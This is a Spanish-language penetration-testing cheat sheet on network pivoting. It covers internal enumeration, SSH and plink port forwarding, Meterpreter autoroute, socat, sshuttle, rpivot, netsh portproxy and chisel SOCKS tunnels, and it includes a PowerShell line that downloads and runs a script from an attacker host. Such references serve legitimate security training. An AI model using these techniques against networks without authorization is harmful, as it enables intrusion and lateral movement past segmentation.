# Pivoting

## Enumeración

{% tabs %}
{% tab title="Linux" %}
* Tabla ARP:

```bash
arp
arp -n
```

* Archivo hosts:

```bash
cat /etc/hosts
```

* Tabla de enrutamiento:

```bash
route -n
ip route
netstat -r
```

* Información de interfaces:

```bash
ip a
ifconfig
cat /proc/net/fib_trie
nmcli dev show
```

> Para `ifconfig` y `nmcli` debemos tener instalado `network-manager`. Se puede instalar usando `sudo apt update && sudo apt install network-manager -y`.

* Información DNS:

```bash
cat /etc/resolv.conf
```

* Conexiones establecidas y a la escucha:

```bash
netstat -auntp
```

* Ping Sweep:

```bash
for i in {1..254} ;do (ping -c 1 192.168.2.$i | grep "bytes from" &) ;done
```

* Enumeración de puertos remotos:

```bash
for port in {1..65535}; do(echo > /dev/tcp/10.30.40.39/$port) > /dev/null 2>&1 && echo "port $port is open"; done
```
{% endtab %}

{% tab title="Windows" %}
* Tabla ARP:

```batch
arp -a
```

* Archivo hosts:

```batch
type C:\Windows\System32\drivers\etc\hosts
```

* Tabla de enrutamiento:

```batch
route print
```

* Información de interfaces:

```batch
ipconfig
ipconfig /all
```

* Conexiones establecidas y a la escucha:

```batch
netstat -ano
```

* CMD Ping Sweep:

```batch
for /L %i in (1 1 254) do ping 192.168.2.%i -n 1 -w 100 | find "Reply"
```

* PowerShell Ping Sweep:

```powershell
1..254 | % {"192.168.2.$($_): $(Test-Connection -count 1 -comp 192.168.2.$($_) -quiet)"}
```

* Enumeración de puertos remotos usando PowerShell - Opción 1:

```powershell
$ports=(1..65535); $ip="10.30.40.39"; foreach ($port in $ports) {try{$socket=New-Object System.Net.Sockets.TcpClient($ip,$port);} catch{}; if ($socket.Connected) {echo $ip":"$port" - Open"; $socket = $null;}}
```

Enumeración de puertos remotos usando PowerShell - [Opción 2](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/Invoke-Portscan.ps1):

```powershell
#Descargamos el script desde la máquina atacante
iex (New-Object Net.WebClient).DownloadString('http://192.168.0.100:8000//Invoke-Portscan.ps1')
#Ejecutamos el script, escaneando los puertos Top 100
Invoke-Portscan -Hosts 10.30.40.39 -TopPorts 100
```
{% endtab %}

{% tab title="Meterpreter" %}
* Tabla ARP:

```
arp
```

* Tabla de enrutamiento:

```
route
```

* Información de interfaces:

```
ifconfig
```

* Conexiones establecidas y a la escucha:

```
netstat
```

* Ping Sweep:

```
run post/multi/gather/ping_sweep RHOSTS=192.168.2.0/24
```
{% endtab %}
{% endtabs %}

## SSH

### Port Forwarding

{% tabs %}
{% tab title="Local Port Forwarding" %}
```bash
ssh <user>@<pivot_ip> -L 127.0.0.1:<local_port>:<target_ip>:<target_port> -N
```

> Se puede omitir la dirección del localhost.

* Se abre de forma local el puerto `<local_port>` mediante la opción `-L`
* El tráfico generado al localhost (127.0.0.1) con el puerto `<local_port>` es transferido al puerto `<target_port>` de la IP `<target_ip>` a traves del túnel SSH
* La opción `-N` indica que no se ejecutan comandos después de autenticarnos
{% endtab %}

{% tab title="Remote Port Forwarding (Linux)" %}
```bash
ssh <user>@<attack_host_ip> -R 127.0.0.1:<attack_host_port>:<target_ip>:<target_port> -N
```

> Se puede omitir la dirección del localhost.

* Se abre de forma remota el puerto `<attack_host_port>` mediante la opción `-R`
* El tráfico generado al localhost (127.0.0.1) con el puerto `<attack_host_port>` es transferido al puerto `<target_port>` de la IP `<target_ip>` a traves del túnel SSH
* La opción `-N` indica que no se ejecutan comandos después de autenticarnos
{% endtab %}

{% tab title="Remote Port Forwarding (Windows)" %}
Enlace de descarga de [PLink](https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html).

```bash
cmd.exe /c echo y | plink.exe -l <user> -pw <password> <attack_host_ip> -R <attack_host_port>:<target_ip>:<target_port> -N
```

* `cmd.exe /c echo y` se utiliza para las shell no interactivas (como la mayoría de las shell reversas en Windows), con el cual, aceptamos el mensaje de precaución que lanza plink por defecto
* `-l` indicamos el usuario con el que nos autenticaremos
* `-pw` especificamos la contraseña del usuario
* `-R` definimos que será Remote Port Forwarding
* `-N` no iniciar una shell
{% endtab %}
{% endtabs %}

### Tunneling/Proxying

{% tabs %}
{% tab title="Dynamic Port Forwarding Linux" %}
```bash
ssh <user>@<pivot_ip> -D <localhost>:<proxy_local_port> -N
```

* `-D <localhost>:<proxy_local_port>`, para este caso, se puede omitir la IP del localhost. Indicamos que se se realizará un Dynamic Port Forwarding, usando el puerto especificado como proxy
* `-N` no iniciar una shell
{% endtab %}

{% tab title="Dynamic Port Forwarding  Windows" %}
Enlace de descarga de [PLink](https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html).

```batch
plink.exe -D <proxy_local_port> <user>@<pivot_ip>
```

* `-D <proxy_local_port>` indicamos que se se realizará un Dynamic Port Forwarding, usando el puerto especificado como proxy

> Como SOCKS proxy, podemos usar [Proxifier](https://www.proxifier.com/).
{% endtab %}
{% endtabs %}

## Metasploit/Meterpreter

### Port Forwarding

{% tabs %}
{% tab title="Local Port Forwarding" %}
Desde la sesión meterpreter, ejecutamos lo siguiente:

```
portfwd add -l 3300 -p 80 -r 192.168.2.30
```

* `-l` puerto local a abrir
* `-p` puerto del target
* `-r` IP del target
{% endtab %}

{% tab title="Reverse Port Forwarding" %}
Desde la sesión meterpreter, ejecutamos lo siguiente:

```
portfwd add -R -l 8081 -p 1234 -L 192.168.233.135
```

* `-R` indicamos que será un reverse port forwarding
* `-l` puerto local al que se reenviará el tráfico
* `-p` puerto a la escucha en la máquina pivote
* `-L` IP local al que se reenviará el tráfico
{% endtab %}
{% endtabs %}

### Tunneling/Proxying

{% tabs %}
{% tab title="Módulo SOCKS Proxy" %}
Fuera de la sesión meterpreter (salir usando el comando `bg`), usar los siguiente comandos:

```
use auxiliary/server/socks_proxy
set SRVPORT 9050
set SRVHOST 0.0.0.0
set version 4a
run
```

* `SRVPORT` puerto que usaremos como proxy del tráfico
* `SRVHOST` IP que estará a la escucha, si es `0.0.0.0`, todas las interfaces estarán a la escucha
* `version` indicamos la versión del protocolo SOCKS, que puede ser versión 4 (`4a` en mestasploit) o versión 5

Ahora, le decimos al módulo `socks_proxy` que reenvíe el tráfico a la sesión meterpreter usando el módulo `post/multi/manage/autoroute`, esto se puede lograr de las siguientes dos formas:

* Fuera de la sesión meterpreter:

```
# Módulo AutoRoute
use post/multi/manage/autoroute
# Sesión meterpreter a la que le enviaremos el tráfico
set SESSION 1
# Segmento de red donde se encuentra la máquina de pivoting
set SUBNET 192.168.2.0
# Ejecutar el módulo
run
```

* Dentro de la sesión meterpreter:

```
run autoroute -s 192.168.2.0/24
```
{% endtab %}
{% endtabs %}

## Socat

{% tabs %}
{% tab title="Relay" %}
Podemos descargar socat desde los siguientes enlaces:

* [Windows](https://github.com/W0lfF4ng/Binarios/blob/main/Windows/socat-1.7.3.2-1-x86_64.zip)
* [Linux](https://github.com/W0lfF4ng/Binarios/blob/main/Linux/socat_x64)

Comando:

```bash
./socat TCP4-LISTEN:8081,fork TCP4:192.168.2.30:8443 &
```

* `TCP4-LISTEN:8080` especificamos el puerto que se pondrá a la escucha
* `fork` indicamos que socat puede aceptar más de una conexión
* `TCP4:192.168.2.30:8443` corresponde a la dirección IP y puerto hacia donde se redireccionará el tráfico recibido en el puerto especificado en la primera sección del comando
* `&` dejamos el proceso en segundo plano
{% endtab %}
{% endtabs %}

## sshuttle

{% tabs %}
{% tab title="Instalación" %}
```bash
sudo apt update
sudo apt install sshuttle
```
{% endtab %}

{% tab title="Proxy transparente sobre SSH" %}
Si queremos usar sshuttle para tunelizar el tráfico hacia una IP un segmento de red, se puede usar el siguiente comando:

```bash
sudo sshuttle -r user01@192.168.0.240 10.30.40.0/24
```

* `-r` indicamos el usuario y el host remoto (podemos escribir la password y cambiar el puerto de conexión de la siguiente forma: `<username>:<password>@<pivot_ip>:<port>`)

En caso de que necesitemos excluir una IP, se usa la opción `-x`:

```bash
sudo sshuttle -r user01@192.168.0.240 10.30.40.0/24 -x 10.30.40.21
```

Si tenemos una llave privada para conectarnos al dispositivo, usamos el siguiente comando:

```bash
sshuttle -r user01@192.168.0.240 --ssh-cmd 'ssh -i id_rsa' 10.30.40.0/24 -x 10.30.40.21
```

Si queremos que las redes se determinen en base a la propia tabla de enrutamiento de la máquina comprometida, podemos usar la opción `-N`:

```bash
shuttle -r user01@192.168.0.240 -N
```

En caso de que necesitemos pasar a segundo plano esta conexión, podemos usar la opción `-D`:

```bash
sshuttle -r user01@192.168.0.240 10.30.40.0/24 -D
```
{% endtab %}
{% endtabs %}

## Rpivot

{% tabs %}
{% tab title="Instalación" %}
```bash
git clone https://github.com/klsecservices/rpivot.git
sudo apt-get install python2.7
```
{% endtab %}

{% tab title="Web Server Pivoting" %}
* Comando desde la máquina atacante:

```bash
python2.7 server.py --proxy-port 9050 --server-port 9999 --server-ip 0.0.0.0
```

* Comando desde la máquina de pivote:

```bash
python2.7 client.py --server-ip 10.10.14.18 --server-port 9999
```
{% endtab %}
{% endtabs %}

## Netsh

### Port Forwarding

{% tabs %}
{% tab title="Validación de Port Forwarding" %}
```batch
netsh interface portproxy show v4tov4
```

Los registro de netsh son guardados en `HKLM:\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4\tcp`:

```batch
reg query HKLM\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4\tcp /s
```
{% endtab %}

{% tab title="Configuración de Port Forwarding" %}
```batch
netsh interface portproxy add v4tov4 listenport=<local_listen_port> listenaddress=<local_listen_ip> connectport=<target_port> connectaddress=<target_ip>
```

* `listenport` especificamos el puerto local que se encontrará a la escucha
* `listenaddress` indicamos la dirección local que estará a la escucha
* `connectport` puerto del target
* `connectaddress` dirección IP del target

> Este comando funciona con permisos de administrador.
>
> Si no le indicamos el parámetro `listenaddress`, se quedará a la escucha en todas las interfaces.

Si queremos eliminar lo configurado, podemos usar el siguiente comando:

```batch
netsh interface portproxy reset
```
{% endtab %}
{% endtabs %}

### Reglas de Firewall

{% tabs %}
{% tab title="Control del Firewall" %}
* Tráfico entrante:

```batch
netsh advfirewall firewall add rule name=<rule_name> protocol=TCP dir=in localport=<local_port> action=allow
```

* Tráfico saliente:

```batch
netsh advfirewall firewall add rule name=<rule_name> protocol=TCP dir=out localport=<local_port> action=allow
```
{% endtab %}
{% endtabs %}

## Chisel

### Tunneling/Proxying

{% tabs %}
{% tab title="Instalación" %}
* Descargar del repositorio de chisel:

```bash
git clone https://github.com/jpillora/chisel.git
```

* Compilación para Linux:

```bash
cd chisel
go build -ldflags "-s -w"
upx brute chisel
```

* Compilación para Windows:

```bash
cd chisel
env GOOS=windows GOARCH=amd64 go build -o chisel.exe -ldflags "-s -w"
upx brute chisel.exe
```
{% endtab %}

{% tab title="SOCKS" %}
Configuración del pivote:

```bash
./chisel server -p 3477 --socks5
```

* `-p 3477` puerto a la escucha del servidor
* `--socks5` indicamos que se utilizará proxy SOCKS5

Configuración de la máquina atacante:

```bash
./chisel client 192.168.0.100:3477 socks
```

* `192.168.0.100:3477` dirección IP del servidor y puerto en el que se encuentra en escucha
* `socks` especificamos que se realizarará una conexión de socks proxy, el cual, trabajará en el puerto 1080. Si queremos modificar el puerto al 5000, podemos reemplazar los parámetros por `5000:socks`
{% endtab %}

{% tab title="Reverse SOCKS" %}
Configuración de la máquina atacante:

```bash
./chisel server -p 3477 --socks5 --reverse
```

* `-p 3477` puerto a la escucha del servidor
* `--socks5` indicamos que se utilizará proxy SOCKS5
* `--reverse` permite conexiones reversas de port forwarding

Configuración del pivote:

```bash
./chisel client 192.168.0.100:3477 R:socks
```

* `192.168.0.100:3477` dirección IP del servidor y puerto en el que se encuentra en escucha
* `R:socks` con la opción `R` especificamos que se realizarará una conexión reversa de port forwarding, como se indica puerto de proxy, este trabajará en el puerto 1080. Si queremos modificar el puerto al 5000, podemos reemplazar los parámetros por `R:5000:socks`
{% endtab %}
{% endtabs %}
